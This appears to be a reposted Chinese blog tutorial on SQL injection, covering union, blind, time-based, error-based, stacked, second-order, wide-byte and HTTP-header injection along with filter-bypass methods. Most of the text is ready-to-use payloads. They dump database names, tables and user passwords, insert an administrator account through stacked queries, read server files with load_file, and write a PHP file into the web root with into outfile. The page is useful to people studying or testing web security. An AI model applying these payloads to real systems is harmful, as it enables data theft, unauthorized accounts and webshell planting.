SQL注入漏洞常用繞過方法

SQL注入漏洞

漏洞描述

Web 程序代碼中對于用戶提交的參數未做過濾就直接放到 SQL 語句中執行,導致參數中的特殊字符打破了原有的SQL 語句邏輯,黑客可以利用該漏洞執行任意 SQL 語句,如查詢數據、下載數據、寫入webshell 、執行系統命令以及繞過登錄限制等。

SQL 注入漏洞的產生需要滿足以下兩個條件 :

  • 參數用戶可控:從前端傳給后端的參數內容是用戶可以控制的
  • 參數帶入數據庫查詢:傳入的參數拼接到 SQL 語句,且帶入數據庫查詢

漏洞危害

  1. 查詢數據
  2. 下載數據
  3. 寫入webshell
  4. 執行系統命令
  5. 繞過登錄限制

用于測試注入點的語句

and 1=1--+
' and 1=1--+
" and 1=1--+
) and 1=1--+
') and 1=1--+
") and 1=1--+
")) and 1=1--+

漏洞分類

回顯:

  • UNION(聯合注入)

不回顯:

  • 布爾盲注
  • 時間盲注
  • 報錯注入

其他:

  • 堆疊注入
  • 二次注入
  • 寬字節注入
  • http頭部注入

聯合注入

使用場景:有顯示位,可以將sql語句執行的結果輸出到網頁中。

# 查詢字段數
?id=1' order by 3 -- -# 查看回顯位
?id=-1' union select 1,2,3-- -//查詢系統
?id=-1' union select 1,concat_ws('_',user(),version(),database()),@@basedir-- -//查詢所有數據庫
?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata -- -//查詢表
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()-- -//查詢列名
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name ='users'-- -//查詢數據
?id=-1' union select 1,group_concat('*',concat(username,'---',password)),3 from security.users -- -

布爾注入

使用場景:根據注入執行結果的布爾值,頁面顯示不同,由此來判斷是否為布爾注入
payload:

//判斷數據庫的第一位是不是s
?id=1" and left(database(),1)='s'--+-
?id=1" and substr((select database()),1,1)='s' --+-
?id=1" and ascii(substr((select database()),1,1))=115--+-//獲取所有數據庫名稱
?id=1" and ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))=105--+-//獲取當前數據庫表名稱
?id=1" and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101--+-//獲取當前數據庫表users表的列名
?id=1" and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 0,1),1,1))=105--+-?id=1" and ord(mid((select column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 0,1),1,1))=105--+-//獲取users表的數據
?id=1" and ord(mid((select username from security.users limit 0,1 ),1,1))=68--+-

時間注入

使用場景:在注入時,無論注入是否正確,頁面沒有任何變化,沒有顯示位,也沒有報錯信息。但是加入sleep(5)條件之后,如果if條件成立則頁面返回速度明顯慢了5秒。

//判斷時間數據庫長度
?id=1" and if(length(database())>7,1,sleep(5)) --+-//查詢數據庫的第一位
?id=1" and if(ascii(substr(database(),1,1))=115,1,sleep(5)) --+-//查詢表
?id=1" and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,1,sleep(5)) --+-//獲取當前數據庫表users表的列名
?id=1" and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 0,1),1,1))=105,1,sleep(5)) --+-//獲取users表的數據
?id=1" and if(ascii(substr((select username from security.users limit 0,1),1,1))=68,1,sleep(5)) --+-

報錯注入

使用場景:報錯注入的使用場景一般在頁面無法顯示數據庫的信息,但是有報錯內容,我們就可以嘗試利用報錯注入將錯誤信息與子查詢語句中查詢的內容帶出,并不局限與這種場景,只要能將mysql錯誤信息輸出都可以嘗試進行報錯注入。

報錯注入形式上一般是做兩個嵌套查詢,里面的稱為子查詢,執行順序是先進行子查詢,所以我們可以通過子查詢查詢我們想要的數據,然后通過報錯函數將我們查詢的數據帶出。

//updatexml報錯方式
?id=1" and (updatexml(1,concat(0x3a,(select group_concat(schema_name) from information_schema.schemata)),1)))--+-//extractvalue報錯方式
id=1" and extractvalue(1, concat((select group_concat(0x7e,table_name,0x7e) from information_schema.tables where table_schema=database())))--+-

堆疊注入

堆疊查詢:堆疊查詢可以執行多條 SQL 語句,語句之間以分號(;)隔開,而堆疊查詢注入攻擊就是利用此特點,在第二條語句中構造要執行攻擊的語句。
在 mysql 里 mysqli_multi_query 和 mysql_multi_query 這兩個函數執行一個或多個針對數據庫的查詢。多個查詢用分號進行分隔。但是堆疊查詢只能返回第一條查詢信息,不返回后面的信息。
堆疊注入的危害是很大的 可以任意使用增刪改查的語句,例如刪除數據庫 修改數據庫,添加數據庫用戶

# 在得知對方管理表結構的前提下,可以向管理表插入一個管理員賬號
?id=1';insert into users value(20,"sc","sc");--+-# 查詢一下
?id=20

二次注入

二次注入過程中,在第一次數據庫插入數據的時候,如果僅僅只是使用了addslashes或者是借助get_magic_quotes_gpc對其中的特殊字符進行了轉義,但是addslashea有一個特點就是雖然參數在過濾后添加”\“進行轉義,但是”\“并不會插入到數據庫中,在寫入數據時會保留原來的數據。
在將數據存入到了數據庫中之后,開發者就認為數據是可信的。在下一次進行需要進行查詢的時候,直接從數據庫中取出了臟數據,沒有進行下一步的檢驗和處理,這樣就會造成 SQL 的二次注入。
比如:在第一次 插入數據的時候,數據中帶有單引號,直接插入到了數據庫中;然后在下一次使用中在拼湊的過程中,就形成了二次注入.

image.png

$sql = "insert into users ( username, password) values("$username", "$pass")";$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' andpassword='$curr_pass' ";$sql = "UPDATE users SET PASSWORD='456' where username='admin’#' and password='$curr_pass' ";

寬字節注入

寬字節注入,在SQL進行防注入的時候,一般會開啟gpc,過濾特殊字符。一般情況下開啟gpc是可以防御很多字符串的注入,但是如果數據庫編碼不對,也可以導致SQL防注入繞過,達到注入目的。如果數據庫設置寬字節字符集gpk會導致寬字節注入,從而逃逸gpc。

前提條件

簡單理解:數據庫編碼與 PHP 編碼設置為不同的兩個編碼那么就有可能產生寬字節注入

深入講解:要有寬字節注入漏洞,首先滿足數據庫和后端使用雙或多字節解析sql語句其次還要保證在 該種字符集中包含**0x5c(01011100)**的字符,初步測試結果為Big5和GBK字符集都是有的,UTF-8 和 GB2312沒有這種字符。(也就不存在寬字節注入)

常見的轉義函數

常見轉義函數與配置:addslashes、mysql_real_escape_string、mysql_escape_string、php.ini 中 magic_quote_gpc的配置
在線gbk編碼表:

https://www.toolhelper.cn/Encoding/GBK
’ ——> %27
空格 ——> %20
#符號 ——> %23
\ ——> %5C

payload

32
?id=1%aa' and 1=2 -- -
?id=1%aa' order by 3 -- -
?id=-1%aa' union select 1,2,3 -- -
?id=-1%aa' union select 1,user(),3 -- -

HTTP頭部注入

User-Agent:瀏覽器版本
COOKIE: 網站為了辨別用戶身份、進行session跟蹤而存儲在用戶本地終端上的數據
X-Forwarded-For:獲取HTTP請求端真實IP
Client-IP: 獲取IP
Referer:瀏覽器向Web服務器表名自己是從哪個頁面鏈接過來的
Host:訪問的Web服務器的域名/IP和端口號
21
admin') order by 3 -- -

讀寫文件操作

前提條件

必須有權限讀寫并且完全可讀寫
ecure_file_priv不能為空
要讀取的文件必須在服務器
必須指定文件的完整路徑

?id=-1' union select 1,load_file("C:\\phpStudy\\PHPTutorial\\1.txt"),3--+-
?id=-1' union select 1,load_file("D:/phpStudy/PHPTutorial/WWW/flag.txt"),3--+-
?id=-1' union select 1,"<?php phpinfo(); ?>",3 into outfile "D:\\phpStudy\\PHPTutorial\\WWW\\2.php" --+-

常用的繞過方法

  1. 空格字符繞過
  2. 大小寫繞過
  3. 浮點數繞過注入
  4. NULL 值繞過
  5. 引號繞過
  6. 添加庫名繞過
  7. 逗號繞過
  8. 分塊傳輸繞
  9. Unicode 編碼繞過

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/13304.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/13304.shtml
英文地址,請注明出處:http://en.pswp.cn/web/13304.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

WPF使用ItemsControl顯示Object的所有屬性值

對于上位機開發&#xff0c;我們有時候有這樣的需求&#xff1a;如何顯示所有的IO點位&#xff1f;比如有10個IO點位&#xff0c;那我們要寫10個TextBlock去綁定這10個點位的屬性&#xff08;本文暫時不考慮顯示的樣式&#xff0c;當然也可以考慮&#xff09;&#xff0c;當點位…

springboot整合swagger,jpa遇到的問題

1.整合jpa&#xff0c;版本問題導致Archive for required library: ‘C:/Users/Administrator/.m2/repository/org/aspectj/aspectjweaver/1.8.13/aspectjweaver-1.8.13.jar’ in project ‘money-server’ cannot be read or is not a valid ZIP file money-server Build path…

Leetcode 257:二叉樹的所有路徑

給你一個二叉樹的根節點 root &#xff0c;按 任意順序 &#xff0c;返回所有從根節點到葉子節點的路徑。 葉子節點 是指沒有子節點的節點。 思路&#xff1a; 先編輯所有節點&#xff0c;記錄每一個節點的路徑&#xff1b; 判斷當前節點是否為葉子節點&#xff0c;如果是&…

霍庭格TruPlasma MF 7100 7050電源現貨50KW

霍庭格TruPlasma MF 7100 7050電源現貨50KW

mysql json 數組怎么搜索

在MySQL中&#xff0c;可以使用JSON_CONTAINS函數來搜索JSON數組中的元素。這里有一個簡單的例子&#xff1a; 假設有一個名為items的表&#xff0c;其中有一個名為attributes的列&#xff0c;包含JSON數組。 CREATE TABLE items (id INT AUTO_INCREMENT PRIMARY KEY,attribu…

SQLSERVER 怎樣使查詢不占鎖

對一些相對不怎么敏感的數據&#xff0c;不需要太及時性的數據&#xff0c;不需要占鎖。 要在SQL Server中執行查詢而不占用鎖&#xff0c;可以采取以下幾個策略&#xff1a; 1、使用NOLOCK提示&#xff1a; 最直接但風險較高的方法是在查詢中使用WITH (NOLOCK)提示。這樣&am…

練習題(2024/5/16)

1輪轉數組 給定一個整數數組 nums&#xff0c;將數組中的元素向右輪轉 k 個位置&#xff0c;其中 k 是非負數。 示例 1: 輸入: nums [1,2,3,4,5,6,7], k 3 輸出: [5,6,7,1,2,3,4] 解釋: 向右輪轉 1 步: [7,1,2,3,4,5,6] 向右輪轉 2 步: [6,7,1,2,3,4,5] 向右輪轉 3 步: [5,…

【C語言深度解剖】:(11)函數指針、函數指針數組、指向函數指針數組的指針、回調函數

&#x1f921;博客主頁&#xff1a;醉竺 &#x1f970;本文專欄&#xff1a;《C語言深度解剖》《精通C指針》 &#x1f63b;歡迎關注&#xff1a;感謝大家的點贊評論關注&#xff0c;祝您學有所成&#xff01; ??&#x1f49c;&#x1f49b;想要學習更多C語言深度解剖點擊專欄…

AVDemo漏洞平臺黑盒測試

信息收集 說明一下&#xff1a; 因為是本地的環境&#xff0c;端口這些就不掃描了&#xff0c; 還有這個是某個dalao寫的平臺&#xff0c;也就檢測不到什么cms了&#xff0c; 信息收集&#xff0c;端口&#xff0c;cms這些是必做的&#xff0c; 首先&#xff0c;這里先簡單的…

web3 ETF軟件開發難點

開發一個涉及到 Web3 ETF&#xff08;Exchange-Traded Fund&#xff0c;交易所交易基金&#xff09;的軟件可能會面臨一些挑戰和難點&#xff0c;特別是在整合 Web3 技術和金融服務方面。以下是一些可能的難點。北京木奇移動技術有限公司&#xff0c;專業的軟件外包開發公司&am…

記一次:mysql統計的CAST函數與json字段中的某個字段

前言&#xff1a;因為需求的問題&#xff0c;會遇到將某個json存入到一個字段中&#xff0c;但在統計的時候&#xff0c;又需要將這個json中的某個字段作為條件來統計&#xff0c;所以整理了一下cast函數和json中某個字段的條件判斷 一、淺談mysql的json 1.1 上例子 SELECTli…

植物大戰僵尸雜交版(含下載方式)

最近時間&#xff0c;一款很火的植物大戰僵尸雜交版火爆出圈&#xff0c;在玩家之間瘋狂擴散。各種奇特的雜交組合讓游戲變得更加有趣。 游戲介紹 植物大戰僵尸雜交版是一款將《植物大戰僵尸》和植物雜交概念結合在一起的獨特塔防策略游戲。它將《植物大戰僵尸》中的植物與進行…

什么是析構函數?

在編程語言C中&#xff0c;析構函數是一個特別重要的組件&#xff0c;它主要負責在對象生命周期結束時釋放資源和執行清理任務。析構函數的正確實現對于資源管理尤為關鍵&#xff0c;尤其是在處理動態分配內存、文件句柄、網絡連接或其他系統資源時。本文將詳細介紹析構函數的基…

Minio 對象存儲 OSS概述

系列文章目錄 第五章 Minio 對象存儲 OSS概述 Minio 對象存儲 OSS概述 系列文章目錄對象存儲 OSS基本概念存儲空間&#xff08;Bucket&#xff09;對象&#xff08;Object&#xff09;ObjectKeyRegion&#xff08;地域&#xff09;Endpoint&#xff08;訪問域名&#xff09;Ac…

C#知識|上位機子窗體嵌入主窗體方法(實例)

哈嘍,你好啊,我是雷工! 上位機開發中,經常會需要將子窗體嵌入到主窗體, 本節練習C#中在主窗體的某個容器中打開子窗體的方法。 01 需求說明 本節練習將【賬號管理】子窗體在主窗體的panelMain容器中打開。 賬號管理子窗體如下: 主窗體的panelMain容器位置如圖: 02 實現…

一次JAVA接口優化記錄

目錄 一次接口優化記錄首先考慮&#xff0c;添加緩存緩存策略方案一&#xff1a;本地緩存方案二&#xff1a;Redis緩存 優化結果原因分析&#xff1a;原因驗證 接口數據分析將響應數據返回大小減少compression壓縮配置完美&#xff08;代指這里的小系統&#xff09; 一次接口優…

CentOS 的常見命令

CentOS 是一種廣泛使用的 Linux 發行版&#xff0c;特別在服務器環境中。本文將詳細介紹 CentOS 中常見的命令&#xff0c;以便幫助用戶在操作系統中有效地進行各種操作。下面介紹一下文件和目錄操作、用戶和權限管理、系統信息查看、軟件包管理以及網絡配置等方面的命令。 一…

應用層協議【HTTP和HTTPS】

1.概念 1.1 協議 協議是指在計算機通信和網絡通信中&#xff0c;為了實現數據交換而建立的一套規則、約定或者標準。它定義了通信雙方之間的通信格式、傳輸方式、數據的含義、錯誤處理等細節&#xff0c;從而確保通信的可靠性、有效性和安全性。 >1在計算機網絡中&#x…

Python簡易圖書管理系統重構

在本篇課文中&#xff0c;我們將使用Python語言結合MySQL數據庫&#xff0c;從零開始構建一個簡單的圖書管理系統。該系統旨在幫助圖書館管理員輕松管理圖書的借閱、歸還以及查詢圖書信息等日常操作。我們將分步介紹需求分析、數據庫設計、環境搭建、功能實現等關鍵環節&#x…

注冊講堂 | 體外診斷試劑分類目錄的變化

5月11日&#xff0c;千呼萬喚的《體外診斷試劑分類目錄》&#xff08;2024年第58號&#xff09;終于發布&#xff01; 前世今生 2013年&#xff1a;《6840 體外診斷試劑分類子目錄&#xff08;2013版&#xff09;》&#xff08;以下簡稱2013版目錄&#xff09; 2017年&#xff…